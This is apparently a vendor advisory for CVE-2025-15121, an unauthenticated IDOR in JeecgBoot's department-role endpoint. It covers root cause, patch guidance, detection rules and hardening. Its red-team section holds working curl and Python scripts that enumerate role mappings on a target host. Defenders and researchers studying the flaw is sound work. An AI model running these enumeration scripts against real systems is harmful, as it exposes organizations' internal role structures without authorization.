CVE-2025-15121
Executive Summary
CVE-2025-15121 is an information disclosure vulnerability in the JeecgBoot rapid development platform, affecting versions up to and including 3.9.0. The flaw resides in the /sys/sysDepartRole/getDeptRoleByUserId endpoint, where the departId parameter is not properly sanitized or authorized, allowing an unauthenticated attacker to enumerate department role assignments for any user. This can lead to the exposure of internal organizational structures and role hierarchies, which may be leveraged for further targeted attacks.
Affected Component: JeecgBoot (Java-based low-code platform) Attack Vector: Network-based, unauthenticated Impact: Low confidentiality impact (information disclosure of role mappings)
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
JeecgBoot is distributed as a Maven-based Java project. The vulnerability exists in the core backend module (jeecg-boot-module-system). Organizations using this framework should treat the entire dependency tree as potentially affected until a patch is released. No known malicious packages have been observed exploiting this CVE in the wild.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (NVD) | Adjusted Score: 5.3 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Network | Exploitable remotely via HTTP |
| Attack Complexity (AC) | Low | No special conditions required |
| Privileges Required (PR) | None | No authentication needed |
| User Interaction (UI) | None | No user action required |
| Scope (S) | Unchanged | Exploit does not affect other components |
| Confidentiality (C) | Low | Only role mapping data exposed |
| Integrity (I) | None | No data modification |
| Availability (A) | None | No denial of service |
Threat Level: Medium. While the direct impact is limited to information disclosure, the exposed data can significantly aid social engineering and privilege escalation attacks.
Deep Dive & Mechanics
The vulnerability is a classic case of Insecure Direct Object Reference (IDOR) combined with Missing Authentication. The endpoint /sys/sysDepartRole/getDeptRoleByUserId is designed to return the department roles assigned to a given user. The departId parameter is used to filter results, but the backend fails to verify:
- Authentication: The endpoint does not require a valid session token or API key.
- Authorization: Even if authenticated, there is no check to ensure the requesting user has permission to view the role mappings of the target user.
- Input Validation: The
departIdparameter is accepted without sanitization, potentially allowing enumeration of all department IDs.
Root Cause: The Spring MVC controller method lacks @PreAuthorize annotations or manual security checks. The service layer directly queries the database using the user-supplied departId without verifying the caller's identity.
Attack Flow:
- Attacker identifies a JeecgBoot instance (e.g., via Shodan dork).
- Attacker sends a GET request to
/sys/sysDepartRole/getDeptRoleByUserId?departId=1&userId=1. - The server returns a JSON array of role assignments for user ID 1 within department ID 1.
- Attacker iterates through
departIdvalues (1, 2, 3...) anduserIdvalues to map the entire organizational role structure.
Vulnerable vs. Patched Code
Vulnerable Code (JeecgBoot <= 3.9.0):
// SysDepartRoleController.java
@GetMapping("/getDeptRoleByUserId")
public Result<List<SysDepartRole>> getDeptRoleByUserId(@RequestParam(name="departId") String departId,
@RequestParam(name="userId") String userId) {
List<SysDepartRole> list = sysDepartRoleService.getDeptRoleByUserId(departId, userId);
return Result.ok(list);
}
Patched Code (Hypothetical - No official patch):
// SysDepartRoleController.java
@GetMapping("/getDeptRoleByUserId")
@PreAuthorize("hasRole('ADMIN')")
public Result<List<SysDepartRole>> getDeptRoleByUserId(@RequestParam(name="departId") String departId,
@RequestParam(name="userId") String userId) {
// Validate that the current user has access to this department
if (!sysDepartRoleService.canAccessDepartment(LoginUserUtil.getCurrentUser(), departId)) {
return Result.error("Access denied");
}
List<SysDepartRole> list = sysDepartRoleService.getDeptRoleByUserId(departId, userId);
return Result.ok(list);
}
Key Differences:
- Added
@PreAuthorizeannotation to require ADMIN role. - Added explicit authorization check for department access.
- Input validation for
departIdformat (e.g., numeric check).
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running JeecgBoot <= 3.9.0
- Network access to the
/sys/sysDepartRole/getDeptRoleByUserIdendpoint
Exploitation Steps:
- Enumerate Department IDs:
# Brute-force department IDs (assuming integer IDs)
for i in $(seq 1 100); do
curl -s "http://target.com/sys/sysDepartRole/getDeptRoleByUserId?departId=$i&userId=1" | jq '.'
done
- Extract Role Mappings:
import requests
import json
target = "http://target.com"
for dept_id in range(1, 50):
for user_id in range(1, 100):
url = f"{target}/sys/sysDepartRole/getDeptRoleByUserId?departId={dept_id}&userId={user_id}"
resp = requests.get(url)
if resp.status_code == 200 and resp.json().get('success'):
data = resp.json().get('result', [])
if data:
print(f"Dept {dept_id}, User {user_id}: {json.dumps(data)}")
Expected Response:
{
"success": true,
"message": null,
"code": 200,
"result": [
{
"id": "123456",
"roleId": "admin_role",
"departId": "1",
"userId": "1"
}
],
"timestamp": 1700000000000
}
Blue Team (Detection & Hardening)
Immediate Hardening (No Patch Available):
Block Endpoint: Use a WAF or reverse proxy to block access to
/sys/sysDepartRole/getDeptRoleByUserIdfor unauthenticated users.# Nginx example location /sys/sysDepartRole/getDeptRoleByUserId { deny all; return 403; }Add Authentication Check: If you can modify the source code, add the
@PreAuthorizeannotation as shown in the patched code section.Rate Limiting: Implement rate limiting on all
/sys/*endpoints to slow down enumeration attempts.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/sys/sysDepartRole/getDeptRoleByUserIdwithdepartIdanduserIdparameters - Sequential requests with incrementing
departIdoruserIdvalues - Requests from IP addresses not associated with legitimate users
Log IOCs:
- Access logs showing 200 responses to the vulnerable endpoint from unknown IPs
- Multiple 403 responses if blocking is implemented
- Anomalous patterns in
departIdparameter values (e.g., non-numeric strings)
File IOCs:
- No file-based IOCs as this is a server-side API vulnerability
Detection Engineering
YARA Rule
rule CVE_2025_15121_JeecgBoot_InfoDisclosure {
meta:
description = "Detects exploitation attempts against CVE-2025-15121 in JeecgBoot"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-15121"
severity = "medium"
strings:
$endpoint = "/sys/sysDepartRole/getDeptRoleByUserId"
$param_depart = "departId="
$param_user = "userId="
$json_success = "\"success\": true"
condition:
all of ($endpoint, $param_depart, $param_user) and $json_success
}
Sigma Rule
title: CVE-2025-15121 JeecgBoot Information Disclosure Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the vulnerable JeecgBoot endpoint
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/sys/sysDepartRole/getDeptRoleByUserId'
condition: selection
falsepositives:
- Legitimate admin tools using the endpoint (rare)
level: medium
tags:
- attack.t1213
- cve.2025.15121
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-15121 JeecgBoot Information Disclosure Attempt"; flow:to_server,established; http.method; content:"GET"; http.uri; content:"/sys/sysDepartRole/getDeptRoleByUserId"; fast_pattern; http.uri; content:"departId="; http.uri; content:"userId="; classtype:attempted-recon; sid:10000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the endpoint via web server configuration (Nginx/Apache) until a patch is available.
- Implement WAF rules to block unauthenticated access to
/sys/sysDepartRole/*. - Monitor logs for enumeration patterns (sequential
departIdvalues).
Long-Term Fix:
- Apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section.
- Conduct a full security audit of all
/sys/*endpoints for similar IDOR vulnerabilities. - Implement a centralized authentication and authorization framework (e.g., Spring Security with method-level security).
Workaround:
- If source code modification is not possible, use a reverse proxy to add authentication checks before forwarding requests to the backend.
Report generated by Valters IT DevSecOps Intelligence Unit